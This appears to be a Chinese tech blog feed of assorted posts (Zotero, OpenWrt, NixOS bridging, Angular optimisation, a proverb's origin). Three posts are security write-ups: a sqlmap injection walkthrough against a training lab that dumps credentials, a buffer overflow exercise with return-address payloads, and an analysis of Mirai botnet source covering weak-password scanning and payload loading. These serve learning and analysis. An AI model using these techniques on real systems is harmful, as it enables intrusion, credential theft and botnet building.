后来我又在这个功能的基础上补充了其它一些小工具(包括查CCF会议以及替换从pdf拷贝的文本)。这个插件得到了不少人的评论和支持,也有同学帮我重构了代码。它还有很多不完善的地方,但是希望这个工具可以帮助你更好的查看论文。
安装utools,然后在utools的插件中心搜索thesis-tools,就可以找到这个插件了。
输入关键词,可以使用以下功能。
在Letpub网站查询期刊的中科院分区情况。使用方法:
查询期刊/会议在CCF 2022年发布的目录中的分区情况。使用方法:
从pdf中复制时,常常句子被换行分开了。这个功能可以替换全半角、换行;在英文的情况下,替换连字符。使用方法:
基于正则表达式拆解论文的引用格式。可能不准确,但是在大多数情况下(从谷歌学术中拷贝的引用)都能用。使用方法:
查询Zotero数据库中的文献资料,匹配标题。使用方法:
1 | siyuan://blocks/<block-id> |
点击后可以通过URL Scheme的形式打开对应的思源笔记块。在Zotero中,也支持用URL Scheme的格式打开文件,但是打开需要指定对应项目的ID,这个ID是普通用户难以获取的。
为了解决上面的问题,我找了不少其它方法。
其中比较成熟的是插件 Mdnotes。它能导出一个根据模版文件生成的Markdown文件,其中默认包含了标题、摘要、超链接等等。
或者它能提供一个右键的选项,导出一个Markdown文件,在Markdown文件中仅包含一句话,就是项目的标题和项目的Zotero超链接。
但是,不,我不需要一个额外的新的Markdown文件,我只是需要一段包含超链接的文本即可。
最后选择是自己写了一种导出文献引用的格式,代码如下:
1 | { |
代码也上传到了Github Gist中。
代码下载下来后,保存文件名为: Markdown ZotSelect.js
使用方法如下。
复制的文本内容效果如下。
1 | [Deeper Insights into Graph Convolutional Networks for Semi-Supervised Learning arXiv:1801.07606 [cs, stat]](zotero://select/items/0IFP9R7CA) |
熟练的同学可以尝试修改脚本内容以符合具体要求。
]]>我每个设备上都配置了科学上网的客户端,但是没有在路由器上配置过透明代理,而在实验室因为搬家后,换下来一个NETGEAR R6220,不用白不用。
我所使用的代理服务是Trojan的,使用OpenClash是相对正确的选择。
安装OpenWrt的过程没有什么值得细说的。因为OpenWrt的固件可以直接从网站上下载。
通过opkg print-architecture
命令确认自己的架构类型。如对于R6220,这个命令的输出如下:
1 | root@OpenWrt:~# opkg print-architecture |
则架构为 mipsel_24kc
。
1 | opkg update |
新增依赖:libcap 和 libcap-bin,去对应的openwrt网站上下载。对于不同架构的路由器应当将其中的mips_24kc
换为你自己的架构。
https://downloads.openwrt.org/snapshots/packages/mips_24kc/packages/
安装dnsmasq-full前,可能需要删除dnsmasq,二者是冲突的。
从openclash项目下载对应架构的ipk文件:
因为最新版本使用了Ruby依赖,而运行之后总是出错,如果无法解决,可以使用没有Ruby依赖的版本0.40.15
如果选择0.40.15版本,不会自动选择内核。
对于mipsel_24kc,应选择mipsle-softfloat内核。
对于mips_24kc,选择 mips-softfloat。
内核存放于 /etc/openclash/core/
。如果版本安装错误,可以在这个目录将内核文件删除后,重新选择并下载。
这个博客是本科时建的,更新得也不频繁,给的定位是记录自己学习到的东西;所以内容很杂,但是大部分还是围绕着计算机相关的技术的。虽然也没有多少人真的会仔细地查看博客,但是我想它还是承担了一定的展示面的工作,至少我会在简历上写上我有这么一个博客。
到了开始读研究生的时候,我逐渐感觉好像自己了解的东西不一定适宜全都分享出来,所以记笔记的方法改成了在印象笔记中每次添加的一段话。这让我感觉压力一轻,写下来的东西也许不一定成为一篇文章,甚至除了自己之外可能都不会有人看懂那是什么,但是这减轻了记录的负担,感觉学到的东西好像逐渐变多了。
但是记录和展示本来就是两件不同的事情,他们区别很大,所以这是完全没有冲突的。
我完全应该利用博客展示一些自己的体会或者感受,像是旅游的记录和看完某本书后的感受,而不是躲在角落里自己做自己的事,搞得自己落得Otaku一样的刻板印象。
]]>NixOS
。NixOS
是一个基于配置的Linux系统,它的一切配置都是基于配置文件进行的。我的需求是不借助其它物理设备,在我桌子底下仅有的一个网口为我的笔记本电脑和工作站连上实验室的网络。
工作站有两张以太网卡。现在我是按照笔记本 <-> 工作站 <-> 实验室
的方式连接的。我希望工作站的网络层中某个部分起到一个类似Hub或者交换机的作用,使得两个电脑都能被外界直接访问到,而不用借助类似NAT的手段。
我发现我需要的是网桥
。在两个以太网口之间建立一条网桥,然后让两台机子都能访问网络。
我们可以参照一些使用brctl
进行配置的教程,在网上能找到很多类似的教程,但是在nixos
下需要写到配置文件中去。
NixOS
的配置文件位置在 /etc/nixos/configuration.nix
,但是我不太希望使用同一个配置文件,所以重新建了一个文件/etc/nixos/networking.nix
,并在configuration.nix
中引用了它。(原文件中的第8行)
1 | imports = |
在networking.nix
中需要参照配置文件的方式编写。
1 | { config, pkgs, ... }: |
配置内容写在...
中的位置。
如果希望在图形界面中管理网络设置,我们需要启动networkmanger
服务,而且需要将当前用户添加到能控制网络的组中。在networking.nix
中设置如下
1 | networking.networkmanager.enable = true; |
然后我们正式开始配置网桥。首先是添加这样的一个网桥:
1 | networking.bridges = { |
我们配置了一个网桥br0
,它连接了两个端口。如果参照使用brctl
进行配置的教程就到此为止了。但是这样的情况是没法使用网络的。这样在我的笔记本上能访问外界网络,但是在工作站却没法做到。
我们会发现,虽然ifconfig
能显示有这么一个网桥,但是没法在图形界面networkmanager
对网桥进行配置。如果使用ifconfig br0 down
命令,这个网桥就没法找到了。
这是因为我们只建了网桥而没有建立接口。所以我们需要显示地说明网桥的接口,配置网桥的网络,并为网桥分配IP。我们需要在配置文件networking.nix
中添加这样的几行:
1 | networking.defaultGateway = "a.a.a.a"; |
当然我们也可以使用DHCP服务:
1 | networking.interfaces.br0.useDHCP = true; |
这样就能达到我们的目的了,也就是两边都可以访问网络。
]]>子不道,父之过
,意思是”子辈的不应该说出父辈的过错”。说实话这让我感到困惑和些许不自在,所以我开始了对这个句话内容的一次求证。然后写到这篇博客的原因是发现关于这句话,网络上的说法似乎并不准确,于是希望能做一个追本溯源的根据,仅此而已。
《三字经》中是有与之相似的这么一句话。我记得的版本是这样的
子不教,父之过。教不严,师之惰。
意思是:子辈没有受到教育,这是父亲的过错。教育学生不严格要求,这就是做老师的懒惰了。
这句话有的版本是
养不教,父之过。教不严,师之惰。
意思是:生养孩子却不加教育,这是父亲的过错。教育学生不严格要求,这就是做老师的懒惰了。
##子不言父过
然后我再去查证这个子不道父之过
的来源,没有什么办法。只有在百度引擎上查找,找到了“俗话说”的几个版本:
俗语:
子不言父过,女不道母奸
意思是:子女不去说父亲的过错,儿女不去说母亲的取巧。
殷洪曰:“老师在上,容弟子一言告禀:殷洪乃纣王之子,怎的反助武王。古云:‘子不言父过。’况敢从反叛而弑父哉。即人神仙佛,不过先完纲常彝伦,方可言其冲举。又云:‘未修仙道,先修人道。人道未完,仙道远矣。’且老师之教弟子,且不论证佛成仙,亦无有教人有逆伦弑父之子。即以此奉告老师,老师当何以教我?”
夷、齐曰:“臣闻‘子不言父过,臣不彰君恶’。故父有诤子,君有诤臣。只闻以德而感君,未闻以下而伐上者。今纣王,君也,虽有不德,何不倾城尽谏,以尽臣节,亦不失为忠耳。况先王以服事殷,未闻不足于汤也。臣又闻‘至德无不感通,至仁无不宾服’。苟至德至仁在我,何凶残不化为淳良乎!以臣愚见,当退守臣节,体先王服事之诚,守千古君臣之分,不亦善乎。”
也就是 子不言父过,臣不彰君恶
,意思是:儿子不说父亲的过失,臣子不暴露君王的缺点。
王问:弘光何君?曰:「圣君」。问何以指昏为圣?曰:「子不言父过」。
子不言父过,女不擦母艳
儿子不许讨论父亲的过错,女儿梳妆打扮不能僭越母亲。
在搜索引擎上有很多的结果(包括知乎)中也提到这句话出自《礼记》,甚至还说明了这句话的前一句是父不言子德
,但是具体出自《礼记》的哪一节,却是没有提到过。
于是尝试在中国哲学书电子化计划中检索了这句话,但是没有找到结果。为了确保结果的正确,还到南京博物馆下的十三经检索中也检索了这句话,还是没有找到结果。
于是我认为《礼记》中没有这句话的相关内容。网上关于这句话的讨论是谬传了。
而这样的话出自《礼记》的说法,所能见到的流传最多的就是百度知道
。(又是你啊百度)
于是尝试在百度知道检索了一下,所能发现的最早说出这句话出自《礼记》的,应该是这个回答外人面前,父不夸子,子不批父,出自哪里?。此后这句话便都是从《礼记》出来的了,甚至有人能说出它的上一句是父不言子之德
。
但是这句话是出自何处呢?通过将网传的上一句父不言子德
进行检索,发现了谷歌图书中扫描的明心寶鑑中有这样的一段:
父不言子之德,子不言父之过。
这段话在 《明心寶鑑》的 遵禮篇 第十六 凡二十一條
一节中,而这段话具体引用自哪里并不明确。
以下是维基百科对此书的介绍
《明心寶鑑》大约成书于元末明初,辑录者或整理者是范立本。全书由20篇、六七百段文字组成,全書內容皆出自《尚書》、《易經》、《詩經》、《禮記》、《論語》、《孟子》、《莊子》、《太上感應篇》、《說苑》、《顏氏家訓》、 《景行錄》等中國歷代經典中的格言、警句,雜糅儒、釋、道三教學說,薈萃孔子、孟子、荀子、老子、莊子、朱熹等先聖前賢有關個人品德修養、安身立命的論述精華。明朝以後,此書即為通俗讀物,也是最受歡迎的勸善書、啟蒙書之一。它除了是中國最古老的勸善書、啟蒙書之一,也是風行東亞、東南亞漢字文化圈600多年的修身勵志經典。《明心寶鑑》普遍流行於朝鲜李朝时代,且有「抄」之出現。《明心寶鑑》至今仍是韓國學習漢文者軎愛的古典良書之一。傳入日本的《明心寶鑑》,最早為1631年中野道伴的刻本。幕府儒臣林羅山所使用的《明心寶鑑》的版本,就是朝鮮刊行的清州本《明心寶鑑》(1454年刊行)。日本江戶時代,編纂引用了《明心寶鑑》條文的書籍被作為教訓書為人們所接受,这些啟蒙書或將《明心寶鑑》部分照抄,或仿照此書作成,亦或從多處引用而成,可見此書於日本之影響巨大。
中国哲学书电子化计划中收录了谷歌图书的版本。详细的来源是哈佛燕京图书馆
。其中关于那句话的内容是
父不言子之德,子不言父之過。
在扫描的文字版本的770行可以看到这句话。
在国内能找到的版本有两种:华艺出版社
和 东方出版社
的版本。
华艺出版社版本出版于2007年1月连带注释如下:
1 | 父不言子之德,子不言父之过。 |
东方出版社版本出版于2014年5月连带注释如下:
1 | 原典16-16 |
恶
和 德
完全就是两个相反的词了啊。华艺出版社版本是西班牙带出的双语手抄本,而东方出版社的是中国国家图书馆内的藏本,因此会出现不同。若按照网上最多出现次数的版本,还是前者较多。
但是翻译,我想倒还是以知乎的网友所说比较能认同。因为前一句既然是父辈对于子辈的关系的话,相对应的言应该是“宣扬”。若非说这是一句就算有错也不能指出的话,那倒是真的对传统文化的抹黑了。
]]>SQL Server
的动态网站注入,也没有说应该在哪里找,也没说必须手工注入。然后因为周末一直在浪,而也是死线逼近,于是就没多花什么时间地弄了一下。由于实在找不到所谓SQL Server
动态网站了,所以也是到墨者学院网找了一个在线靶场进行注入:SQL手工注入漏洞测试(Sql Server数据库)
在这个网站进行注测和开启靶场之后,就能拿到一个服务器的地址,我拿到的是/219.153.49.228:49485
,然后点进去看到一个登陆框,但是实际上重点是登陆框下面的公告,鼠标悬浮发现它的url
是219.153.49.228:49485/new_list.asp?id=2
。看到这样的url
猜测它是能进行注入的。然后下面就是从这里开始入手的整个过程。
虽然标题是手工注入,但是实际上完全不想手工注入,还是使用sqlmap快速
一点为好。(这是注入灵魂的东西)
本次实验使用的是一台Ubuntu的主机,通过apt
安装程序:
1 | sudo apt install sqlmap |
然后是直接先看一遍有没有漏洞
1 | sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" --level=1 |
很快就会有提示检测到这是一个SQL Server的数据库了,当然最后得到的输出如下:
1 | sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests: |
这段说明,sqlmap
确定了它的后台数据库是Microsoft SQL Server 2005
,使用ASP.NET, Microsoft IIS 6.0, ASP
进行开发,操作系统是Windows 2003 or XP
;而且sqlmap
发现了三个注入点。
接下来就是一顿更加流氓的操作:因为sqlmap
是一个足够强大的工具。
列出所有的数据库
1 | sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" --dbs |
1 | available databases [5]: |
master
应该是SQL Server
系统的表,然后大概可以看看另外四个数据库中都是些什么。不过我们有更好的选项:
1 | sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" --current-db |
1 | current database: 'mozhe_db_v2' |
然后只看 mozhe_db_v2
这个数据库,列出它所有的表
1 | sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" -D "mozhe_db_v2" --tables |
1 | Database: mozhe_db_v2 |
看名字大概announcement
是通知,也就是我们现在所查的东西;而我们需要的估计是manage
,也就是用户的用户名和密码。那接着看它的里面的东西
1 | sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" -D "mozhe_db_v2" -T manage --dump |
1 | Database: mozhe_db_v2 |
可以看到用户的用户名与密码,而且还导出了一个CSV文件。
直接使用这个用户名与密码,提示密码错误。这个password
给的应该是数据库中原始的值,说明可能在数据存储之前进行了一次类似于哈希的操作。猜测用的就是最常用的方式Md5
,目前解决这种问题的方式大概只有通过搜索碰撞的方式,幸好在站长之家就有这样的东西能解决16位的md5。
解密得到的密码为97285101
。再次使用其来登录,进入后台界面,拿到flag:mozhe4b3d52c6133121c7377f8c0efe0
。
实际上怎么说,毫无美感可言;不过就论方便而言,果然还是脚本小子容易当。
]]>exe
文件,然后用缓冲区溢出跳过其中的字符比较,用了OllyDbg
在虚拟机中实践了一下,感觉起来很简单。本文在 Windows XP
虚拟机上进行。
我不确定在Windows 10 内是否依然能做到这些,然后又发现半年前VirtualBox 留了一个分布式对象实验的虚拟机,所以正好可以使用已经配置好的分辨率和共享文件夹。
我们拿到的题目是一个 Overflow.zip
的文件夹:
1 | E:\Downloads\overflow>dir /B |
bo2.exe
就是我们的目标了。bo.jpg
中给了一张图片,显示了密码,但是这个图片所显示的内容在ida
查看之后并不是完全正确的。(有一些常数并不一样)
从图片中能读到的东西是它的密码是 654N321S
。输入这段字符,程序会输出一个Serial number is correct.
。
1 | C:\Documents and Settings\Ciaran\桌面\overflow>.\bo2.exe |
在随便输入一些字符可以见到,这个程序的逻辑是直接退出了。
然后我们的目的是要跳过这个所谓Serial Number
的字符的比较,直接输出Serial number is correct.
。
在输入一定数量的字符后,发现输出了Error! Input must be < 100 characters.
1 | C:\Documents and Settings\Ciaran\桌面\overflow>.\bo2.exe |
让我们给多更多的字符,看看会发生什么。
1 | C:\Documents and Settings\Ciaran\桌面\overflow>.\bo2.exe |
程序没有给出任何的结果,就直接退出了,由此可见,漏洞是存在的。
我们还是来想一个简单的方式来获取输入吧,完全手动输入实在有点麻烦了:
1 | E:\Downloads\overflow>python -c "print('a'*200)" | .\bo2.exe |
在虚拟机外的主机上,我们是有Python
的存在的,那么就可以通过使用python的程序生成大量的字符,然后通过管道输出给这个程序。不过因为我们是在虚拟机中进行这样的操作,所以我们是首先将python输出的内容重定向到一个文件中,然后再在虚拟机中将这个文件重定向到bo2.exe
程序的输入。
首先下载一个OllyDbg
,所使用的是52pojie
提供的版本:在这里下载。
然后在虚拟机中打开bo2.exe
,可以看到这个程序的二进制代码(CPU界面)。在这界面的左下角的面板中可以看到,内存地址中就有那几句话:Serial Number is correct
。实际上如果没有,就在左下使用右键-> search -> binary string 进行搜索也能找到这段话。可以看到这段话的地址:00408030
。
然后再上面的汇编代码的面板中搜索这个地址:右键 -> Search for
-> constant
,然后搜索得到的结果就是在调用这段话的附近。实际上,因为这是用C语言编译器编译的程序,所以其主函数的代码都会在00401000
附近,直接跳到这里也就好了。
现在我们看到了整个程序的结构,如果写成C的话大概是这样的。其中N是一个常数。
1 |
|
缓冲区溢出的原理就是简单的输入数量足够大的字符,然后覆盖程序的返回地址,也就是EIP
寄存器。然后让我们再来做一次我们刚才所做的事情,也就是输入足够多的a
,然后看看结果。
1 | python -c "print('a'*300)" > temp1.txt |
这个时候程序理所当然的崩溃了,崩溃的原因是EIP这个地址不可读,因为这个时候EIP的地址已经被我们的aaaa
给填满了,它的地址就是61616161
也就是四个a
的ascii码。现在,通过缓冲区溢出,我们已经能操控EIP
也就是程序跳转的方向了。
然后根据我们的目标,我们需要将这个EIP
指向我们想让它出现的语句,也就是push bo2.00408030
。这是在调用printf
函数之前的装载使用参数。在这之后就是调用printf
了。而这句话的地址就是00401060
,所以我们现在需要将EIP
给覆盖成00401060
即可。
这个时候当然其实本来应该是进一步通过不同的输入,找到具体是哪一个位置的aaaa
变成了EIP
的值。但是我比较蠢,懒得花费这种智力,所以就莽了过去:
因为python的print会自动以人类可见的格式输出,\x00
就真的是'\x00'
这样输出了,所以得使用sys.stdout.buffer.write()
1 | python -c "import sys; sys.stdout.buffer.write(b'\x00\x40\x10\x60'*100)" > temp2.txt |
简单说一下,因为这是四个完全不相同的字符,因为EIP只有四个字符的位置,然后我只要确定这四个字符的相对位置,补出相应的前缀,这样总能保证EIP被正确地填上。
1 | C:\Documents and Settings\Ciaran\桌面\overflow>.\bo2.exe <temp2.txt |
然后发现并没有取得相应的效果。(这就有点尴尬)
然后再次用OllyDbg
发现EIP
的值为\x60\x10\x40\x00
,确实是我们给出的字符,没有位移,但是看来顺序反了。这是端序的问题,导致结果完全不一样。不过不会有什么影响,再来一遍逆序的即可。
1 | python -c "import sys; sys.stdout.buffer.write(b'\x60\x10\x40\x00'*100)" > temp3.txt |
然后就能得到正确的结果:
1 | C:\Documents and Settings\Ciaran\桌面\overflow>.\bo2.exe <temp3.txt |
这样就直接绕过了所谓序列码直接给出了结果。
]]>我们使用的是 Angular-cli
来新建和管理Angular项目,它会使用webpack将我们的项目进行打包以便部署。
至于部署的方式中,我们使用的是angular-cli-ghpages
这个工具。当然我们首先需要设置好github pages上的分支。
通过npm 可以进行安装
1 | npm i -g angular-cli-ghpages |
我们需要将我们的项目进行打包,指定我们给出的域名和子域名:
1 | ng build --prod --base-href "http://bibliosoft.ciaran.cn/" |
之后使用angular-cli-ghpages
提交到github上项目的一个分支里。因为在angular.json
中设置的"outputPath": "dist/frontend"
,所以--dir
的参数为dist\frontend\
1 | ngh --dir dist\frontend\ --cname bibliosoft.ciaran.cn |
然后经队友反应,我们的网页在部署上去之后几乎打不开,这令我非常惊讶。然后通过查看浏览器Dev Tools中的网络情况,我发现有个文件的大小,竟然高达4M,而就是这个文件,花了50+秒的时间来进行加载,给了一种几乎打不开网页的绝望。
在运行了ng build --prod
之后,出现了下面这个输出。
1 | C:\Users\ciaran\Desktop\Projects\BibliosoftFrontend>ng build --prod --base-href "http://bibliosoft.ciaran.cn/" |
可以看到的是,main.js
这个文件足有4MB。在之前的十几次部署中,基本都是800k左右的大小,这说明我们需要删减一些东西了。
在Angular的 ng build --prod
中,main.js
这个文件是存放程序的代码的文件。这样的增长肯定是我引入了一些新的依赖导致的。在这个期间我们新加了一个绘图的功能尝试使用了plotly
,以及为了尝试更好的API而使用了material-angular
,当然我确定就是这两个东西让我的main.js
膨胀了起来。于是我使用了webpack-bundle-analyzer
来对我们webpack打包的文件进行分析。
首先安装它:
1 | npm install webpack-bundle-analyzer -g |
我们需要在编译的时候添加一个--stats-json
的参数,这样webpack在打包的时候会输出一个stats.js
文件作为这些文件中文件来源的信息。
1 | ng build --prod --base-href "http://bibliosoft.ciaran.cn/" --stats-json |
然后我们可以对这个文件使用webpack-bundle-analyzer
进行分析,这样我们就能得到一个产物文件夹的内容来源的分析报告。
1 | webpack-bundle-analyzer dist\frontend\stats.json |
这条命令会在8888端口启动一个分析报告的服务器并直接帮你打开这个网址。这样我们能看到这样的一个页面:
虽然在左上角那里勾选Show content of concatenated modules (inaccurate)
能显示更多的信息,但是单看图片就已经能发现:最大的部分来自于plotly.min.js
。
细看之下 material-angular
的部分占了700k,但是 plotly.min.js
的大小为2.73M。
这确实令人难以容忍。基本上去掉了plotly之后就是原来大小了,但是我又确实不希望整个plotly的部分都砍掉。
在我们的项目中,使用了 angular-plotly.js
库来使用Plot.ly
,据称这是Plot.ly
绘图库的官方Angular wrapper,直接提供了一个plotly-plot
的组件,然后直接使用即可,这样确实非常舒服,但是很明显对我们来说这太沉重了。
首先分析一下我们能做到什么程度,我们在项目中所画的图只有 一张折线图和几张饼图,查阅文档后发现它们大概都来自于Plot.ly
的basic chart的部分,那么我们可以只要plotly的basic部分就足够了。
那样我们需要重写一个Plot.ly
的组件,不过这不算特别困难。首先是安装plotly.js
,这是一个完全必要的部分,即使是 angular-plotly.js
也会依赖于这个plotly.js
。
1 | npm install plotly.js --save |
在安装了依赖后,在使用Plotlyjs的组件的ts文件中添加它。
1 | import * as Plotly from 'plotly.js/dist/plotly-basic.min.js'; |
这样就能确保只引入了 plotly-basic
的部分。
在使用的时候,要画图我们需要调用:
1 | Plotly.plot(element, data, layout) |
其中 element 参数是 ElementRef<any>.nativeElement
,对于如何得到这样的参数,我们可以写出一个组件的示例:
1 | import {Component, OnInit, ViewChild} from '@angular/core'; |
当然有点让我觉得苦恼的是data
和layout
的类型,在使用angular-plotly.js
的时候,我可以指定它们的类型,这样能避免一些类型的错误。这种苦恼的情感一直持续到我看到angualr-plotly
的这段源码
1 | export namespace Plotly { |
居然是any…这样这段直接新建一个Service装下来就有了Plotly类型了。
最后我们将angular-plotly.js
彻底从项目中移除,然后重新编译并运行webpack-bundle-analyzer
。
可以见到,现在Plot.ly
的部分已经只有700k了,而整个main.js
的大小也减小到了2.26 MB。在通过github pages部署之后会使用gzip进行传输,这个大小会被压缩到500k,此时文件的加载时间已经是7秒左右了。
但是这个速度依然不是非常顺畅,我们仍可以使用CDN对整个内容再进行一次加速。下面是加速前后的对比,来自于ping.chinaz.com
。
因为知道腾讯云的cdn有新用户的300G的流量赠送,所以就直接使用了腾讯云的服务。首先需要进行实名认证,和输入指定网站的类型和信息,这些略过不谈。
之后就是创建需要加速的域名了。在这里它就是 bibliosoft.ciaran.cn
。
之后是填写源站的信息,所谓的源站指的就是在没有CDN网络的情况下的源服务器。最好的方式当然是直接给出服务器的ip地址,这样就能避免有产生解析ip地址的消耗。但是我并不知道github pages的静态ip地址,即使是通过ping能获得ip地址,但是其ip地址也并非是静态的。所以还是填写这里的域名就好了,也就是ciaranchen.github.io
。
在完成了之后,经过一段时间的部署之后,腾讯云会返回一个cdn地址,我们要将它添加到域名的CNAME地址中,这样才是完成了整个CDN的过程。一般来说,腾讯云给出的都是以.cdn.dnsv1.com
结尾的一个地址,比如我所拿到的就是 bibliosoft.ciaran.cn.cdn.dnsv1.com
,然后将它添加到域名解析中去:(也是腾讯云的)
在腾讯云中我们可以设置境内与境外线路,在国外,访问github pages的话网络速度是很好的,而要是走国内的CDN的话,反而就是很愚蠢了,所以设置两条CNAME记录,一条直接走ciaranchen.github.io
的;另一条是走腾讯云CDN的。
还需要等待一段时间让路由生效。在生效后我们就能看到我们的加载时间被极大的缩短了。
现在我们的加载时间已经低到了一秒以下了,这是一个足以满意的结果。
]]>https://github.com/jgamblin/Mirai-Source-Code
下载。一些基本的名称是这样的。攻击者将部署一个Commad & Control
CNC 的节点和一个loader
的服务器,然后将感染的设备称为bot
,并在其中运行程序payload
。
Marai 各个部分的主要功能如下:
loader/src
): 监听bot的report,并上传payload到要感染的设备mirai/cnc
): 即控制服务器,主要功能是处理用户登录和下发命令mirai/bot
): 运行僵尸程序注:源码中其它部分(
mirai/tools
、script/
、dlr/
)不再关注。
代码中,CNC部分是由Go语言编写的,余下都由C语言编码完成。因此我们需要Go语言的环境。
Mirai的主要感染途径是通过设备的默认密码。在感染后,可以通过ssh和Telnet连接对其他设备进行感染,或在cnc的指挥下对其它网络设备发起DDos攻击。
cnc目录主要提供用户管理的接口、处理攻击请求并下发攻击命令。这个目录要求在安装的主机中存在Mysql。它会将管理员和bot的数据,甚至可以使用的命令以及历史存放在数据库中。
1 | admin.go 处理用户登录、创建新用户以及进行攻击 |
在main.go
中可以看到监听了23和101并分别调用了initialHandler
和apiHandler
两个函数。
首先跟随initialHandler
,若接受数据长度为4,且分别为00 00 00 x
(x>0)时,为bot监听,将对应的bot主机添加为新的bot。
否则,则判断是否是管理员并进行登录,如果成功登录,则可以通过命令发动攻击。而且如果是管理员账号,还可以通过命令执行管理员帐户添加adduser
和查询bot数量botcount
等。
ApiHandler
中则是提供了另一种访问方式,是为了更方便地调用bot进行攻击而设置的。
可以在attack.go
中看到,Mirai
所支持的攻击类型包括udp、vse、dns、syn、ack、stomp、GRE ip flood、GRE Ethernet flood、http等。(还有很多我并不认识。)当然这些进行攻击的类型都只是发一段特定的代码到bot,然后由所有bot一起进行即可。
bot源码主要有:
但是在此之前先看看main
函数中启动之前一通熟练地操作:
首先阻止gdb
和watchdog
的调试。
1 | // Signal based control flow |
gdb 会通过信号来停止程序,既然如此,就一旦接受到 SIGTRAP
就直接退出以禁止调试。
然后向在特定位置的看门狗程序发送控制码0×80045704
禁用看门狗,以防止自动重启。通常在嵌入式设备中,固件会实现一种叫看门狗(watchdog)的功能,有一个进程会不断的向看门狗进程发送一个字节数据,这个过程叫喂狗。如果喂狗过程结束,那么设备就会重启,因此为了防止设备重启,Mirai关闭了看门狗功能。
然后是调用ensure_single_instance()
用于确保只有一个实例的程序在运行。
方法是绑定一个特定的端口48101。如果有进程已经占用了这个端口,就直接把它kill掉,这样每个同样的程序绑定这个端口的时候,就会被下一个启动的实例给kill掉。
但是同样,这个特点是检测网络设备中是否存在Mirai
的最高效的检测方法。
隐藏进程。
修改args[0]
即运行程序的命令。
将进程名变为随机的字符。
1 | // Hide argv0 |
初始化攻击 attack_init()
1 | BOOL attack_init(void) |
在这之中,只是添加了一些可以进攻的方式,还没有实际进行攻击,所以这里面的函数我们稍后再看。
killer.c
main()
函数在此后调用了killer模块 killer_init()
Killer模块主要是负责排除其他同类的病毒,以防止被抢走控制权。
在这个函数中,它会首先检测占用并杀死可能存在的进程,然后直接抢占 22/23/80 端口。这主要是为了排除异己,防止其他程序通过ssh/telnet/http的方式获得控制权。
在此后,他还会搜索特定的文件夹/proc/$pid/exe
,在这个文件夹中包含了所有正在运行中的进程的程序链接,然后它通过链接直接看程序的真实名称是否含有.anime
,一旦含有就直接杀死。
实际上这个程序在添加了其他逻辑之后,很快就能针对其他程序进行清除。这里大概只是用anime
做了一个典型而已。毕竟Mirai
还扫描了/proc/$pid/status
文件,在这个文件中存着进程的一些信息,Killer模块也能根据这些信息对特定的进程进行杀死。
Scanner.c
在killer之后,在主循环之前,main()
调用了一个Scanner模块scanner_init()
。Scanner即扫描器,他所做的是扫描网络中其它未被感染的主机,然后用弱口令尝试登陆,并将能登陆的主机的信息上报给loader,然后由loader对主机进行侵略。
在此模块中,扫描的ip地址是随机生成的,并会排除一定的ip地址
1 | do |
在此后列出了一系列的弱密码。
之后是快速扫描的秘密所在,下面这段代码批量对23和2323端口发送 SYN 数据包,只对有response的地址进行响应。
1 | if (fake_time != last_spew) |
由于使用的是UDP协议,要从获得的数据包中快速筛选出真正的响应的包
1 | errno = 0; |
我们会过滤掉:
之后将存活的设备保存到一个数组中。然后随机选取之前设置的弱口令进行爆破:
1 |
|
然后发送一系列命令判断登录成功与否。若成功,尝试一些操作,并上报loader。
上报loader的格式如下:
1 |
|
在做完了上面这两个模块的内容之后,就进入了bot的主循环,它会主动连接CNC节点并等待CNC节点的指令使用attackparse
进行解析。
在这里有个小trick,在前面是设定了CNC节点的IP地址和端口FAKE_CNC_ADDR
和FAKE_CNC_PORT
,但是实际在连接中,这是一个虚假的IP地址和端口,用于迷惑对这个代码进行debug的开发者。真正的IP和端口是在table.c
中硬编码写入的cnc.changeme.com
用8.8.8.8
做DNS解析之后得到的,然后在连接前使用resolve_func()
函数对地址进行了修改写入了真的IP地址。
在建立连接后,bot
根据接收到的指令(目标数,IP地址,掩码),对目标进行攻击。
在attack_app.c
、attack_gre.c
、attack_tcp.c
和attack_udp.c
中分别定义了四大类的攻击类型,然后使用函数指针模拟多态地进行调用。其中攻击的方式大多是通过socket建立大量的SYN包,然后发给目标地址。这里具体就不提。
loader代码的功能是向被感染设备上传相应架构的payload文件。
1 | headers/ 头文件目录 |
Loader中存放了针对各个平台编译后的可执行文件,其功能是用于加载Mirai的bot程序。在启动之初就会判断这个文件夹是否存在,然后启用了一个epoll架构的简单服务器,一旦有新的连接就启动一个新的worker线程。
在worker线程中,维护了一个状态机,即列出了几种状态,然后在状态之间转换。大概是为了应付一些随时要求验证的需求。
首先woker线程使用scanner提供的IP地址和账户密码信息登录IOT设备:
1 | case TELNET_USER_PROMPT: |
首先会执行/bin/busybox ps
和/bin/busybox cat /proc/mounts
命令查看设备挂载的分区。
1 | case TELNET_VERIFY_LOGIN: |
然后进行创建文件、使用chmod
命令调整文件权限至777,之后使用cpuinfo
命令判断设备运行平台,再使用wget
、tftp
或echo
三种方式将对应版本的恶意可执行文件上传至IOT设备。
1 | switch (conn->info.upload_method) |
在完成装载之后,还会根据下载的类型,运行相应的程序,到了这里,整个loader的工作才是做完了。
花了蛮长时间,实际也是匆匆扫过。所以有些地方可以不甚仔细。
Mirai的程序,感觉与之前看的工业的代码似乎不完全一样,而且觉得有些地方仍有改进的余地。我感觉这是作者故意留了代码变异的空间,亦或者是根本没有完成。(代码中的DEBUG宏数量有点太多了。)
Mirai是瞄准IoT 设备的弱口令问题,因为很多人并不很在意物联网设备的安全问题,甚至会直接使用初始的用户名与密码,这样会造成物联网设备的大量沦陷。通过巨量的僵尸网络,恶意代码控制者可以进行DDos攻击以瘫痪网络服务器。
而随着物联网设备的应用拓宽,恐怕问题并不止于网络的DDos,更多的关于隐私或者其他的方面的问题会出现其中。我想这才是应该担忧的问题。
我们所希望访问的API是https://api.douban.com/v2/book/isbn/${this.ISBN}
。可以见到的是直接访问这个API后得到的数据没有什么问题,但是当我们在网页应用中对这个API进行访问时,恐怕就没有那么轻松了。
顺带一提,关于这个API接口的官网豆瓣开发者
貌似已经没法访问了的样子,但是幸而有谷歌的网络快照能看到其中的内容。
作为一个在本次项目中才真正开始应用Angular
的人,最开始是按照官网的指引直接使用 HttpClient
。
1 | constructor(private http: HttpClient) { } |
然后就遭遇了下面这个报错:
